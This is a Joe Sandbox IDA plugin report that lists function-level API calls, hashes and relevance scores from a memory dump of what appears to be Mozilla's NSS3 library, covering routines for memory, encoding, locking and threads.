Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 59bd906f1beaf32265c6d168236629e680467fb6e6c8dd0da6fe6b818a7a769c
Instruction ID: 06f60d52207fc006d950c3560431738e6cc4019c3f1bbbb744136199fb9434e0
Opcode Fuzzy Hash: 59bd906f1beaf32265c6d168236629e680467fb6e6c8dd0da6fe6b818a7a769c
Instruction Fuzzy Hash: 4D31F6B1A106019BEB209F28CC44B667BF4FB4E315F540939E85E87B51EB71E814CBE1

Function 6C601F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C601F1C

Part of subcall function 6C650FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5F87ED,00000800,6C5EEF74,00000000), ref: 6C651000
Part of subcall function 6C650FF0: PR_NewLock.NSS3(?,00000800,6C5EEF74,00000000), ref: 6C651016
Part of subcall function 6C650FF0: PL_InitArenaPool.NSS3(00000000,security,6C5F87ED,00000008,?,00000800,6C5EEF74,00000000), ref: 6C65102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C719EBC), ref: 6C601FB8
SEC_ASN1EncodeItem_Util.NSS3(6C719E9C,?,?,6C719E9C), ref: 6C60200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C602020

Part of subcall function 6C5F6A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C5FAD50,?,?), ref: 6C5F6A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C602030

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: f1100f3ccfc3d7b4595a2bbfb5f01c2d78dafbb58c8d83bccae9dfb94f75cb60
Instruction ID: 18622d2e00e874f8564938df26f99072cb46be6a15f924457b67e02817f4fbbd
Opcode Fuzzy Hash: f1100f3ccfc3d7b4595a2bbfb5f01c2d78dafbb58c8d83bccae9dfb94f75cb60
Instruction Fuzzy Hash: C121FDB5A01605BBE7054A15DE40F977768FF4231CF144215F839A6F80E731E939C7A9

Function 6C5F1DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C5F1E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C5F1E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5F1E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C5F1E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C5F1EAD

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 2398bcc302d805c4a60be7feaaa76cf265856455c59c96550905f3c8d87627ed
Instruction ID: 4ae7dfd4625cf01539f505258459347952e5d943b8d590d3f4fb617788a55f8d
Opcode Fuzzy Hash: 2398bcc302d805c4a60be7feaaa76cf265856455c59c96550905f3c8d87627ed
Instruction Fuzzy Hash: 6F2148B2E04310A7D704CE68DC40B8BB7949BC5328F544638EE3D57780E730D9098BD6

Function 6C701E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C701E5C

Part of subcall function 6C6B9BF0: TlsGetValue.KERNEL32(?,?,?,6C700A75), ref: 6C6B9C07

PR_Lock.NSS3(00000000), ref: 6C701E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C701EAB
PR_GetCurrentThread.NSS3 ref: 6C701ED0
PR_Unlock.NSS3(?), ref: 6C701EE8

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 507989418b4a7ca28ebee201bd4172e750e0e15e8c4c7f6467ef4eba9fd8ce2c
Instruction ID: 41fc6615a485674d4699f48d1bc7904fd2b73964afd725bfb91bc7172b11cf43
Opcode Fuzzy Hash: 507989418b4a7ca28ebee201bd4172e750e0e15e8c4c7f6467ef4eba9fd8ce2c
Instruction Fuzzy Hash: C421C1B4B04512ABDB00CF19DA80A0AB7F8FF4571DB658229D8199BB41D730F820CBD5

Function 6C64BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C5FE708,00000000,00000000,00000004,00000000), ref: 6C64BE6A

Part of subcall function 6C650840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6508B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6004DC,?), ref: 6C64BE7E

Part of subcall function 6C64FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C648D2D,?,00000000,?), ref: 6C64FB85
Part of subcall function 6C64FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C64FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C64BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6004DC,?,?), ref: 6C64BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C64BEEB

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: fbe6541c68a848de1836db047418e606cdd540b71a945f25c935925b35b40fa1
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 28110466A04B4577E7008969EC80F5F736D9BC279CF04C125FE0996B52E731D80487EE

Function 6C5FAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C5F3FFF,00000000,?,?,?,?,?,6C5F1A1C,00000000,00000000), ref: 6C5FADA7

Part of subcall function 6C6514C0: TlsGetValue.KERNEL32 ref: 6C6514E0
Part of subcall function 6C6514C0: EnterCriticalSection.KERNEL32 ref: 6C6514F5
Part of subcall function 6C6514C0: PR_Unlock.NSS3 ref: 6C65150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C5F3FFF,00000000,?,?,?,?,?,6C5F1A1C,00000000,00000000), ref: 6C5FADB4

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C5F3FFF,?,?,?,?,6C5F3FFF,00000000,?,?,?,?,?,6C5F1A1C,00000000), ref: 6C5FADD5

Part of subcall function 6C64FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C648D2D,?,00000000,?), ref: 6C64FB85
Part of subcall function 6C64FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C64FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7194B0,?,?,?,?,?,?,?,?,6C5F3FFF,00000000,?), ref: 6C5FADEC

Part of subcall function 6C64B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7218D0,?), ref: 6C64B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5F3FFF), ref: 6C5FAE3C

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 4c373623881c79c00a50523c41489ec4ffe4982f47cd7375db41bc34abcd133e
Instruction ID: 1e44cb7037c7dba2a85f61f73cb2ad70d8d49088a0193b954d8fa8176b1a3a4e
Opcode Fuzzy Hash: 4c373623881c79c00a50523c41489ec4ffe4982f47cd7375db41bc34abcd133e
Instruction Fuzzy Hash: 48115971E002045BE7009A659C40BBF73A89F9214DF048128EC2996641FB20F9598AAB

Function 6C648800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C65085A,00000000,?,6C5F8369,?), ref: 6C648821
TlsGetValue.KERNEL32(?,?,6C65085A,00000000,?,6C5F8369,?), ref: 6C64883D
EnterCriticalSection.KERNEL32(?,?,?,6C65085A,00000000,?,6C5F8369,?), ref: 6C648856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C648887
PR_Unlock.NSS3(?,?,?,?,6C65085A,00000000,?,6C5F8369,?), ref: 6C648899

Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07AD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07CD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07D6
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C57204A), ref: 6C5E07E4
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,6C57204A), ref: 6C5E0864
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5E0880
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,6C57204A), ref: 6C5E08CB
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08D7
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08FB

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 03d28a3ff7cd547dd7dc51b431be6d5cbce9e8c5cb766828187e4a1ffe26002a
Instruction ID: 01914a3d728dd76079575dfe86304cfe14d9f0aeecdda1d77ca1843af79d1f0a
Opcode Fuzzy Hash: 03d28a3ff7cd547dd7dc51b431be6d5cbce9e8c5cb766828187e4a1ffe26002a
Instruction Fuzzy Hash: 91214CB4A04605CFDB00AF78C4841AABBF4FF49349F11C66ADC94D6651EB30D894CBD6

Function 6C608FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C610710), ref: 6C608FF1
PR_CallOnce.NSS3(6C752158,6C609150,00000000,?,?,?,6C609138,?,6C610710), ref: 6C609029
calloc.MOZGLUE(00000001,00000000,?,?,6C610710), ref: 6C60904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C610710), ref: 6C609066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C610710), ref: 6C609078

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 1611a79117cbdad90784adf39a1f8fc5fa4bf06655ffad38649ff2cbe3ded2c6
Instruction ID: 6aeb4499b21770bc01f2c0de3d5ba7108ca2d01ab9a719165f7d250996e20248
Opcode Fuzzy Hash: 1611a79117cbdad90784adf39a1f8fc5fa4bf06655ffad38649ff2cbe3ded2c6
Instruction Fuzzy Hash: FA11447170011197E7281AADAD04A6732ADEB827ACF800439FC85E2B81FB92CD54C7B9

Function 6C61CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C631E10: TlsGetValue.KERNEL32 ref: 6C631E36
Part of subcall function 6C631E10: EnterCriticalSection.KERNEL32(?,?,?,6C60B1EE,2404110F,?,?), ref: 6C631E4B
Part of subcall function 6C631E10: PR_Unlock.NSS3 ref: 6C631E76

free.MOZGLUE(?,6C61D079,00000000,00000001), ref: 6C61CDA5
PK11_FreeSymKey.NSS3(?,6C61D079,00000000,00000001), ref: 6C61CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C61D079,00000000,00000001), ref: 6C61CDCF
DeleteCriticalSection.KERNEL32(?,6C61D079,00000000,00000001), ref: 6C61CDE2
free.MOZGLUE(?), ref: 6C61CDE9

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 79dac48e4f96d4eb395ce8346014711fe0f24dc6915f05ab43d587833e46a032
Instruction ID: bb7b3ab81a1da2d2299583254c193ae67d2965c5e7969b704f3200da98bc249d
Opcode Fuzzy Hash: 79dac48e4f96d4eb395ce8346014711fe0f24dc6915f05ab43d587833e46a032
Instruction Fuzzy Hash: AB11A3B2B05115BBDB00AB69EC4599A777CBB0536A7144532E90A87E01D732E428C7E5

Function 6C653D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C6538A2), ref: 6C653DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C6538A2), ref: 6C653DBF

Part of subcall function 6C650BE0: malloc.MOZGLUE(6C648D2D,?,00000000,?), ref: 6C650BF8
Part of subcall function 6C650BE0: TlsGetValue.KERNEL32(6C648D2D,?,00000000,?), ref: 6C650C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C6538A2), ref: 6C653DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6C6538A2), ref: 6C653DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6C6538A2), ref: 6C653DF8

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: cec550bbf9ac9c0cb1888219070aa2a1b86da5f89cc933a53897d2d9c19460a1
Instruction ID: 6b1f53491b6fe9f97d16e08954bd1122f2445122a69fd9b6f7537076b0030adb
Opcode Fuzzy Hash: cec550bbf9ac9c0cb1888219070aa2a1b86da5f89cc933a53897d2d9c19460a1
Instruction Fuzzy Hash: FE0126B57051223BFB1066765C49E3B39ACDB42BADB640236FD28DA680EA11CC2081F5

Function 6C682CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C685B40: PR_GetIdentitiesLayer.NSS3 ref: 6C685B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C682CEC

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

PR_EnterMonitor.NSS3(?), ref: 6C682D02
PR_EnterMonitor.NSS3(?), ref: 6C682D1F
PR_ExitMonitor.NSS3(?), ref: 6C682D42
PR_ExitMonitor.NSS3(?), ref: 6C682D5B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 326535218dff9be1977b6d8dd5a70253e101b9c7df2382dc5a3240fb2947c2a5
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 5501C8B29012005BE6309E29FC40BC7B7F1EF5631CF004525E95E96710D632F42587AA

Function 6C682D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C685B40: PR_GetIdentitiesLayer.NSS3 ref: 6C685B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C682D9C

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

PR_EnterMonitor.NSS3(?), ref: 6C682DB2
PR_EnterMonitor.NSS3(?), ref: 6C682DCF
PR_ExitMonitor.NSS3(?), ref: 6C682DF2
PR_ExitMonitor.NSS3(?), ref: 6C682E0B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 7cd4c9815f44bec00dd0bf5ea3cfa2a32ea78e0434753dc7cc238d5df124e0a7
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 6901A1B1A012006BEA309E29FC05BC7B7B1EF5231CF000439E85A96B11D632E82587BE

Function 6C61AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C603090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C61AE42), ref: 6C6030AA
Part of subcall function 6C603090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6030C7
Part of subcall function 6C603090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6030E5
Part of subcall function 6C603090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C603116
Part of subcall function 6C603090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C60312B
Part of subcall function 6C603090: PK11_DestroyObject.NSS3(?,?), ref: 6C603154
Part of subcall function 6C603090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C5F99FF,?,?,?,?,?,?,?,?,?,6C5F2D6B,?), ref: 6C61AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C5F99FF,?,?,?,?,?,?,?,?,?,6C5F2D6B,?), ref: 6C61AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C5F2D6B,?,?,00000000), ref: 6C61AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C5F2D6B,?,?,00000000), ref: 6C61AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C5F2D6B,?,?), ref: 6C61AEA3

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 28a28ffd624c4a67a86148dcae4591b0f859c2772a3e5429419624c06d1dafbc
Instruction ID: 38879f8b7cf8ac04984f70f666288134d6ab5fdf913157f76ba7472f5bafbf18
